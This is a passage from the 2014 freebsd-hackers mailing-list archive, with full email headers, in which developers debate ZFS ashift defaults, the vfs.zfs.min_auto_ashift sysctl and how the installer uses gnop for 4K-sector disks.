latest defaults on newfs (4K fragments), I don't think this is an issue. A benchmark would be the empirical way to really tell. It would not hurt to recommend using 4K fragments with newfs for pre-9.0 versions of FreeBSD, where the old default was 2K. From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 1 15:29:04 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9691F349 for ; Sun, 1 Jun 2014 15:29:04 +0000 (UTC) Received: from i3mail.icecube.wisc.edu (i3mail.icecube.wisc.edu [128.104.255.23]) by mx1.freebsd.org (Postfix) with ESMTP id 686722578 for ; Sun, 1 Jun 2014 15:29:04 +0000 (UTC) Received: from localhost (localhost [127.0.0.1]) by i3mail.icecube.wisc.edu (Postfix) with ESMTP id 39E393806E for ; Sun, 1 Jun 2014 10:29:01 -0500 (CDT) X-Virus-Scanned: amavisd-new at icecube.wisc.edu Received: from i3mail.icecube.wisc.edu ([127.0.0.1]) by localhost (i3mail.icecube.wisc.edu [127.0.0.1]) (amavisd-new, port 10030) with ESMTP id VoMiQIwKmfiI for ; Sun, 1 Jun 2014 10:29:01 -0500 (CDT) Received: from comporellon.tachypleus.net (polaris.tachypleus.net [75.101.50.44]) by i3mail.icecube.wisc.edu (Postfix) with ESMTPSA id E88533806B for ; Sun, 1 Jun 2014 10:29:00 -0500 (CDT) Message-ID: <538B46BB.9010008@freebsd.org> Date: Sun, 01 Jun 2014 08:28:59 -0700 From: Nathan Whitehorn User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: fdisk(8) vs gpart(8), and gnop References: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Jun 2014 15:29:04 -0000 On 06/01/14 07:59, Mark Felder wrote: > On May 31, 2014, at 20:57, Freddie Cash wrote: > >> There's a sysctl where you can set the minimum ashift for zfs. Then you >> never need to use gnop. >> >> I believe it's part of 10.0? > I've not seen this yet. What we need is to port the ability to set ashift at pool creation time: > > $ zpool create -o ashift=12 tank mirror disk1 disk2 mirror disk3 disk4 > > I believe the Linux zfs port has this functionality now, but we still do not. > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > ashift=12 seems harmless on 512-byte disks, so maybe also making that the default globally unless sector size is even larger is a good idea. -Nathan From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 1 15:52:29 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6369DAAE; Sun, 1 Jun 2014 15:52:29 +0000 (UTC) Received: from smtp1.multiplay.co.uk (smtp1.multiplay.co.uk [85.236.96.35]) by mx1.freebsd.org (Postfix) with ESMTP id 25B1E276F; Sun, 1 Jun 2014 15:52:28 +0000 (UTC) Received: by smtp1.multiplay.co.uk (Postfix, from userid 65534) id 5FF7820E7088B; Sun, 1 Jun 2014 15:52:28 +0000 (UTC) X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on smtp1.multiplay.co.uk X-Spam-Level: ** X-Spam-Status: No, score=2.3 required=8.0 tests=AWL,BAYES_00,DOS_OE_TO_MX, FSL_HELO_NON_FQDN_1,HELO_NO_DOMAIN,RDNS_DYNAMIC,STOX_REPLY_TYPE autolearn=no version=3.3.1 Received: from r2d2 (82-69-141-170.dsl.in-addr.zen.co.uk [82.69.141.170]) by smtp1.multiplay.co.uk (Postfix) with ESMTPS id 0C1EA20E70886; Sun, 1 Jun 2014 15:52:22 +0000 (UTC) Message-ID: <3D6974D83AE9495E890D9F3CA654FA94@multiplay.co.uk> From: "Steven Hartland" To: "Mark Felder" , "Freddie Cash" References: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> Subject: Re: fdisk(8) vs gpart(8), and gnop Date: Sun, 1 Jun 2014 16:52:27 +0100 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6157 Cc: hackers@freebsd.org, "Michael W. Lucas" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Jun 2014 15:52:29 -0000 ----- Original Message ----- From: "Mark Felder" > On May 31, 2014, at 20:57, Freddie Cash wrote: > >> There's a sysctl where you can set the minimum ashift for zfs. Then you >> never need to use gnop. >> >> I believe it's part of 10.0? > > I've not seen this yet. What we need is to port the ability to set ashift at pool creation time: > > $ zpool create -o ashift=12 tank mirror disk1 disk2 mirror disk3 disk4 > > I believe the Linux zfs port has this functionality now, but we still do not. We don't have that direct option yet but you can achieve the same thing by setting: vfs.zfs.min_auto_ashift=12 Regards Steve From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 1 15:55:34 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id BA0BFBB3; Sun, 1 Jun 2014 15:55:34 +0000 (UTC) Received: from i3mail.icecube.wisc.edu (i3mail.icecube.wisc.edu [128.104.255.23]) by mx1.freebsd.org (Postfix) with ESMTP id 8D3F6278B; Sun, 1 Jun 2014 15:55:34 +0000 (UTC) Received: from localhost (localhost [127.0.0.1]) by i3mail.icecube.wisc.edu (Postfix) with ESMTP id 579B63806E; Sun, 1 Jun 2014 10:55:28 -0500 (CDT) X-Virus-Scanned: amavisd-new at icecube.wisc.edu Received: from i3mail.icecube.wisc.edu ([127.0.0.1]) by localhost (i3mail.icecube.wisc.edu [127.0.0.1]) (amavisd-new, port 10030) with ESMTP id oHvKQqhQ-e4S; Sun, 1 Jun 2014 10:55:28 -0500 (CDT) Received: from comporellon.tachypleus.net (polaris.tachypleus.net [75.101.50.44]) by i3mail.icecube.wisc.edu (Postfix) with ESMTPSA id EDF833802B; Sun, 1 Jun 2014 10:55:27 -0500 (CDT) Message-ID: <538B4CEF.2030801@freebsd.org> Date: Sun, 01 Jun 2014 08:55:27 -0700 From: Nathan Whitehorn User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org, freebsd-fs@freebsd.org Subject: Re: fdisk(8) vs gpart(8), and gnop References: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> <3D6974D83AE9495E890D9F3CA654FA94@multiplay.co.uk> In-Reply-To: <3D6974D83AE9495E890D9F3CA654FA94@multiplay.co.uk> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Jun 2014 15:55:34 -0000 On 06/01/14 08:52, Steven Hartland wrote: > ----- Original Message ----- From: "Mark Felder" > >> On May 31, 2014, at 20:57, Freddie Cash wrote: >> >>> There's a sysctl where you can set the minimum ashift for zfs. Then you >>> never need to use gnop. >>> >>> I believe it's part of 10.0? >> >> I've not seen this yet. What we need is to port the ability to set >> ashift at pool creation time: >> >> $ zpool create -o ashift=12 tank mirror disk1 disk2 mirror disk3 disk4 >> >> I believe the Linux zfs port has this functionality now, but we still >> do not. > > We don't have that direct option yet but you can achieve the > same thing by setting: vfs.zfs.min_auto_ashift=12 > Does anyone have any objections to me changing this default, right now, today? -Nathan From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 1 16:00:23 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 51FA1E9B; Sun, 1 Jun 2014 16:00:23 +0000 (UTC) Received: from smtp1.multiplay.co.uk (smtp1.multiplay.co.uk [85.236.96.35]) by mx1.freebsd.org (Postfix) with ESMTP id 13C2627C0; Sun, 1 Jun 2014 16:00:22 +0000 (UTC) Received: by smtp1.multiplay.co.uk (Postfix, from userid 65534) id 4E46120E7088C; Sun, 1 Jun 2014 16:00:22 +0000 (UTC) X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on smtp1.multiplay.co.uk X-Spam-Level: ** X-Spam-Status: No, score=2.0 required=8.0 tests=AWL,BAYES_00,DOS_OE_TO_MX, FSL_HELO_NON_FQDN_1,HELO_NO_DOMAIN,RDNS_DYNAMIC autolearn=no version=3.3.1 Received: from r2d2 (82-69-141-170.dsl.in-addr.zen.co.uk [82.69.141.170]) by smtp1.multiplay.co.uk (Postfix) with ESMTPS id 1BDE020E70886; Sun, 1 Jun 2014 16:00:17 +0000 (UTC) Message-ID: <1DB2D63312CE439A96B23EAADFA9436E@multiplay.co.uk> From: "Steven Hartland" To: "Nathan Whitehorn" , , References: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> <3D6974D83AE9495E890D9F3CA654FA94@multiplay.co.uk> <538B4CEF.2030801@freebsd.org> Subject: Re: fdisk(8) vs gpart(8), and gnop Date: Sun, 1 Jun 2014 17:00:21 +0100 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=response Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6157 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Jun 2014 16:00:23 -0000 ----- Original Message ----- From: "Nathan Whitehorn" To: ; Sent: Sunday, June 01, 2014 4:55 PM Subject: Re: fdisk(8) vs gpart(8), and gnop > On 06/01/14 08:52, Steven Hartland wrote: >> ----- Original Message ----- From: "Mark Felder" >> >>> On May 31, 2014, at 20:57, Freddie Cash wrote: >>> >>>> There's a sysctl where you can set the minimum ashift for zfs. Then you >>>> never need to use gnop. >>>> >>>> I believe it's part of 10.0? >>> >>> I've not seen this yet. What we need is to port the ability to set >>> ashift at pool creation time: >>> >>> $ zpool create -o ashift=12 tank mirror disk1 disk2 mirror disk3 disk4 >>> >>> I believe the Linux zfs port has this functionality now, but we still >>> do not. >> >> We don't have that direct option yet but you can achieve the >> same thing by setting: vfs.zfs.min_auto_ashift=12 >> > Does anyone have any objections to me changing this default, right now, > today? > -Nathan I think you will get some objections to that, as it can have quite an impact on the performance for disks which are 512, due to the increased overhead of transfering 4k when only 512 is really required. This has a more dramatic impact on RAIDZx due too. Personally we run a custom kernel on our machines which has just this change in it to ensure capability with future disks, so I can confirm it does indeed have the desired effect :) Regards Steve From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 1 16:05:54 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id BB54B2F1 for ; Sun, 1 Jun 2014 16:05:54 +0000 (UTC) Received: from mx1.scaleengine.net (beauharnois2.bhs1.scaleengine.net [142.4.218.15]) by mx1.freebsd.org (Postfix) with ESMTP id 96AA0286B for ; Sun, 1 Jun 2014 16:05:54 +0000 (UTC) Received: from [192.168.1.70] (d206-75-77-44.abhsia.telus.net [206.75.77.44]) (Authenticated sender: allanjude.freebsd@scaleengine.com) by mx1.scaleengine.net (Postfix) with ESMTPSA id 2B83C7C26D for ; Sun, 1 Jun 2014 16:05:51 +0000 (UTC) Message-ID: <538B4F5F.2010700@freebsd.org> Date: Sun, 01 Jun 2014 12:05:51 -0400 From: Allan Jude User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: fdisk(8) vs gpart(8), and gnop References: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> <3D6974D83AE9495E890D9F3CA654FA94@multiplay.co.uk> <538B4CEF.2030801@freebsd.org> In-Reply-To: <538B4CEF.2030801@freebsd.org> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Jun 2014 16:05:54 -0000 On 2014-06-01 11:55, Nathan Whitehorn wrote: > On 06/01/14 08:52, Steven Hartland wrote: >> ----- Original Message ----- From: "Mark Felder" >> >>> On May 31, 2014, at 20:57, Freddie Cash wrote: >>> >>>> There's a sysctl where you can set the minimum ashift for zfs. Then you >>>> never need to use gnop. >>>> >>>> I believe it's part of 10.0? >>> >>> I've not seen this yet. What we need is to port the ability to set >>> ashift at pool creation time: >>> >>> $ zpool create -o ashift=12 tank mirror disk1 disk2 mirror disk3 disk4 >>> >>> I believe the Linux zfs port has this functionality now, but we still >>> do not. >> >> We don't have that direct option yet but you can achieve the >> same thing by setting: vfs.zfs.min_auto_ashift=12 >> > Does anyone have any objections to me changing this default, right now, > today? > -Nathan > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" The only other downside to 4k sectors is that you only get a history of 32 transaction groups instead of 128. Matt Ahrens says this isn't a big deal. I agree with changing the default to 12, a user making a new pool with 512b disks that is that worried about performance, can always shift the value back to 9. I will add this to the zfs section of the handbook, and make a specific note about this 512b issue. The 18,000 word ZFS section of the handbook should go live within a week or two. -- Allan Jude From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 1 16:07:54 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 12AC6413; Sun, 1 Jun 2014 16:07:54 +0000 (UTC) Received: from i3mail.icecube.wisc.edu (i3mail.icecube.wisc.edu [128.104.255.23]) by mx1.freebsd.org (Postfix) with ESMTP id D801B2887; Sun, 1 Jun 2014 16:07:53 +0000 (UTC) Received: from localhost (localhost [127.0.0.1]) by i3mail.icecube.wisc.edu (Postfix) with ESMTP id 52A6F38070; Sun, 1 Jun 2014 11:07:53 -0500 (CDT) X-Virus-Scanned: amavisd-new at icecube.wisc.edu Received: from i3mail.icecube.wisc.edu ([127.0.0.1]) by localhost (i3mail.icecube.wisc.edu [127.0.0.1]) (amavisd-new, port 10030) with ESMTP id 8QBNQY1VbJVa; Sun, 1 Jun 2014 11:07:53 -0500 (CDT) Received: from comporellon.tachypleus.net (polaris.tachypleus.net [75.101.50.44]) by i3mail.icecube.wisc.edu (Postfix) with ESMTPSA id D10EE3805A; Sun, 1 Jun 2014 11:07:52 -0500 (CDT) Message-ID: <538B4FD7.4090000@freebsd.org> Date: Sun, 01 Jun 2014 09:07:51 -0700 From: Nathan Whitehorn User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: Steven Hartland , freebsd-hackers@freebsd.org, freebsd-fs@freebsd.org Subject: Re: fdisk(8) vs gpart(8), and gnop References: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> <3D6974D83AE9495E890D9F3CA654FA94@multiplay.co.uk> <538B4CEF.2030801@freebsd.org> <1DB2D63312CE439A96B23EAADFA9436E@multiplay.co.uk> In-Reply-To: <1DB2D63312CE439A96B23EAADFA9436E@multiplay.co.uk> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Jun 2014 16:07:54 -0000 On 06/01/14 09:00, Steven Hartland wrote: > > ----- Original Message ----- From: "Nathan Whitehorn" > > To: ; > Sent: Sunday, June 01, 2014 4:55 PM > Subject: Re: fdisk(8) vs gpart(8), and gnop > > >> On 06/01/14 08:52, Steven Hartland wrote: >>> ----- Original Message ----- From: "Mark Felder" >>> >>>> On May 31, 2014, at 20:57, Freddie Cash wrote: >>>> >>>>> There's a sysctl where you can set the minimum ashift for zfs. >>>>> Then you >>>>> never need to use gnop. >>>>> >>>>> I believe it's part of 10.0? >>>> >>>> I've not seen this yet. What we need is to port the ability to set >>>> ashift at pool creation time: >>>> >>>> $ zpool create -o ashift=12 tank mirror disk1 disk2 mirror disk3 disk4 >>>> >>>> I believe the Linux zfs port has this functionality now, but we >>>> still do not. >>> >>> We don't have that direct option yet but you can achieve the >>> same thing by setting: vfs.zfs.min_auto_ashift=12 >>> >> Does anyone have any objections to me changing this default, right >> now, today? >> -Nathan > > I think you will get some objections to that, as it can have quite an > impact > on the performance for disks which are 512, due to the increased > overhead of > transfering 4k when only 512 is really required. This has a more dramatic > impact on RAIDZx due too. > > Personally we run a custom kernel on our machines which has just this > change > in it to ensure capability with future disks, so I can confirm it does > indeed > have the desired effect :) So the discussion here is related to what to do about the installer. The current ZFS component unconditionally creates gnops all over the place to set ashift to 4k. That's across the board worse: it has exactly the performance impact of changing the default of this sysctl (whatever that is), it can't easily be overridden (which the sysctl can), and it's a horrible hack to boot. There are a few options: 1. Change the default of vfs.zfs.min_auto_ashift 2. Have the same effect but in a vastly worse way by adjusting the installer to create gnops 3. Have ZFS choose by itself and decide to do that permanently. Our ATA code is good about reporting block sizes now, so (3) isn't a big issue except for the mixed-pool case, which is a huge PITA. We need to choose one of these. I favor (1). -Nathan From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 1 16:13:35 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 03C465A2; Sun, 1 Jun 2014 16:13:35 +0000 (UTC) Received: from smtp1.multiplay.co.uk (smtp1.multiplay.co.uk [85.236.96.35]) by mx1.freebsd.org (Postfix) with ESMTP id B9FB8291F; Sun, 1 Jun 2014 16:13:34 +0000 (UTC) Received: by smtp1.multiplay.co.uk (Postfix, from userid 65534) id 346D420E7088C; Sun, 1 Jun 2014 16:13:34 +0000 (UTC) X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on smtp1.multiplay.co.uk X-Spam-Level: ** X-Spam-Status: No, score=2.3 required=8.0 tests=AWL,BAYES_00,DOS_OE_TO_MX, FSL_HELO_NON_FQDN_1,HELO_NO_DOMAIN,RDNS_DYNAMIC,STOX_REPLY_TYPE autolearn=no version=3.3.1 Received: from r2d2 (82-69-141-170.dsl.in-addr.zen.co.uk [82.69.141.170]) by smtp1.multiplay.co.uk (Postfix) with ESMTPS id D63F720E70886; Sun, 1 Jun 2014 16:13:28 +0000 (UTC) Message-ID: From: "Steven Hartland" To: "Allan Jude" , References: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> <3D6974D83AE9495E890D9F3CA654FA94@multiplay.co.uk> <538B4CEF.2030801@freebsd.org> <538B4F5F.2010700@freebsd.org> Subject: Re: fdisk(8) vs gpart(8), and gnop Date: Sun, 1 Jun 2014 17:13:33 +0100 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6157 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Jun 2014 16:13:35 -0000 ----- Original Message ----- From: "Allan Jude" >> Does anyone have any objections to me changing this default, right now, >> today? > > The only other downside to 4k sectors is that you only get a history of > 32 transaction groups instead of 128. Matt Ahrens says this isn't a big > deal. > > I agree with changing the default to 12, a user making a new pool with > 512b disks that is that worried about performance, can always shift the > value back to 9. > > I will add this to the zfs section of the handbook, and make a specific > note about this 512b issue. > > The 18,000 word ZFS section of the handbook should go live within a week > or two. Theres quite a bit more to it than that, see my previous post. Regards Steve From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 1 16:14:56 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 25A0B776; Sun, 1 Jun 2014 16:14:56 +0000 (UTC) Received: from smtp1.multiplay.co.uk (smtp1.multiplay.co.uk [85.236.96.35]) by mx1.freebsd.org (Postfix) with ESMTP id B1ABF2950; Sun, 1 Jun 2014 16:14:55 +0000 (UTC) Received: by smtp1.multiplay.co.uk (Postfix, from userid 65534) id EA61F20E7088C; Sun, 1 Jun 2014 16:14:54 +0000 (UTC) X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on smtp1.multiplay.co.uk X-Spam-Level: ** X-Spam-Status: No, score=2.0 required=8.0 tests=AWL,BAYES_00,DOS_OE_TO_MX, FSL_HELO_NON_FQDN_1,HELO_NO_DOMAIN,RDNS_DYNAMIC autolearn=no version=3.3.1 Received: from r2d2 (82-69-141-170.dsl.in-addr.zen.co.uk [82.69.141.170]) by smtp1.multiplay.co.uk (Postfix) with ESMTPS id 9FE4920E70886; Sun, 1 Jun 2014 16:14:50 +0000 (UTC) Message-ID: <8D276E03788643A39AABD6A7127B21A0@multiplay.co.uk> From: "Steven Hartland" To: "Nathan Whitehorn" , , References: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> <3D6974D83AE9495E890D9F3CA654FA94@multiplay.co.uk> <538B4CEF.2030801@freebsd.org> <1DB2D63312CE439A96B23EAADFA9436E@multiplay.co.uk> <538B4FD7.4090000@freebsd.org> Subject: Re: fdisk(8) vs gpart(8), and gnop Date: Sun, 1 Jun 2014 17:14:54 +0100 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=response Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6157 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Jun 2014 16:14:56 -0000 ----- Original Message ----- From: "Nathan Whitehorn" To: "Steven Hartland" ; ; Sent: Sunday, June 01, 2014 5:07 PM Subject: Re: fdisk(8) vs gpart(8), and gnop > On 06/01/14 09:00, Steven Hartland wrote: >> >> ----- Original Message ----- From: "Nathan Whitehorn" >> >> To: ; >> Sent: Sunday, June 01, 2014 4:55 PM >> Subject: Re: fdisk(8) vs gpart(8), and gnop >> >> >>> On 06/01/14 08:52, Steven Hartland wrote: >>>> ----- Original Message ----- From: "Mark Felder" >>>> >>>>> On May 31, 2014, at 20:57, Freddie Cash wrote: >>>>> >>>>>> There's a sysctl where you can set the minimum ashift for zfs. >>>>>> Then you >>>>>> never need to use gnop. >>>>>> >>>>>> I believe it's part of 10.0? >>>>> >>>>> I've not seen this yet. What we need is to port the ability to set >>>>> ashift at pool creation time: >>>>> >>>>> $ zpool create -o ashift=12 tank mirror disk1 disk2 mirror disk3 disk4 >>>>> >>>>> I believe the Linux zfs port has this functionality now, but we >>>>> still do not. >>>> >>>> We don't have that direct option yet but you can achieve the >>>> same thing by setting: vfs.zfs.min_auto_ashift=12 >>>> >>> Does anyone have any objections to me changing this default, right >>> now, today? >>> -Nathan >> >> I think you will get some objections to that, as it can have quite an >> impact >> on the performance for disks which are 512, due to the increased >> overhead of >> transfering 4k when only 512 is really required. This has a more dramatic >> impact on RAIDZx due too. >> >> Personally we run a custom kernel on our machines which has just this >> change >> in it to ensure capability with future disks, so I can confirm it does >> indeed >> have the desired effect :) > > So the discussion here is related to what to do about the installer. The > current ZFS component unconditionally creates gnops all over the place > to set ashift to 4k. That's across the board worse: it has exactly the > performance impact of changing the default of this sysctl (whatever that > is), it can't easily be overridden (which the sysctl can), and it's a > horrible hack to boot. There are a few options: > > 1. Change the default of vfs.zfs.min_auto_ashift > 2. Have the same effect but in a vastly worse way by adjusting the > installer to create gnops > 3. Have ZFS choose by itself and decide to do that permanently. > > Our ATA code is good about reporting block sizes now, so (3) isn't a big > issue except for the mixed-pool case, which is a huge PITA. > > We need to choose one of these. I favor (1). I wasn't aware of that but it should do #3 min_auto_ashift is a bigger discussion. Regards Steve From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 1 16:32:27 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5FC58E9E; Sun, 1 Jun 2014 16:32:27 +0000 (UTC) Received: from i3mail.icecube.wisc.edu (i3mail.icecube.wisc.edu [128.104.255.23]) by mx1.freebsd.org (Postfix) with ESMTP id 15DF52AC6; Sun, 1 Jun 2014 16:32:26 +0000 (UTC) Received: from localhost (localhost [127.0.0.1]) by i3mail.icecube.wisc.edu (Postfix) with ESMTP id AA70438067; Sun, 1 Jun 2014 11:32:25 -0500 (CDT) X-Virus-Scanned: amavisd-new at icecube.wisc.edu Received: from i3mail.icecube.wisc.edu ([127.0.0.1]) by localhost (i3mail.icecube.wisc.edu [127.0.0.1]) (amavisd-new, port 10030) with ESMTP id SmxNPqPrJeYK; Sun, 1 Jun 2014 11:32:25 -0500 (CDT) Received: from comporellon.tachypleus.net (polaris.tachypleus.net [75.101.50.44]) by i3mail.icecube.wisc.edu (Postfix) with ESMTPSA id BB5BE3805E; Sun, 1 Jun 2014 11:32:24 -0500 (CDT) Message-ID: <538B5597.3060007@freebsd.org> Date: Sun, 01 Jun 2014 09:32:23 -0700 From: Nathan Whitehorn User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: Steven Hartland , freebsd-hackers@freebsd.org, freebsd-fs@freebsd.org Subject: Re: fdisk(8) vs gpart(8), and gnop References: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> <3D6974D83AE9495E890D9F3CA654FA94@multiplay.co.uk> <538B4CEF.2030801@freebsd.org> <1DB2D63312CE439A96B23EAADFA9436E@multiplay.co.uk> <538B4FD7.4090000@freebsd.org> <8D276E03788643A39AABD6A7127B21A0@multiplay.co.uk> In-Reply-To: <8D276E03788643A39AABD6A7127B21A0@multiplay.co.uk> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Jun 2014 16:32:27 -0000 On 06/01/14 09:14, Steven Hartland wrote: > > ----- Original Message ----- From: "Nathan Whitehorn" > > To: "Steven Hartland" ; > ; > Sent: Sunday, June 01, 2014 5:07 PM > Subject: Re: fdisk(8) vs gpart(8), and gnop > > >> On 06/01/14 09:00, Steven Hartland wrote: >>> >>> ----- Original Message ----- From: "Nathan Whitehorn" >>> >>> To: ; >>> Sent: Sunday, June 01, 2014 4:55 PM >>> Subject: Re: fdisk(8) vs gpart(8), and gnop >>> >>> >>>> On 06/01/14 08:52, Steven Hartland wrote: >>>>> ----- Original Message ----- From: "Mark Felder" >>>>> >>>>>> On May 31, 2014, at 20:57, Freddie Cash wrote: >>>>>> >>>>>>> There's a sysctl where you can set the minimum ashift for zfs. >>>>>>> Then you >>>>>>> never need to use 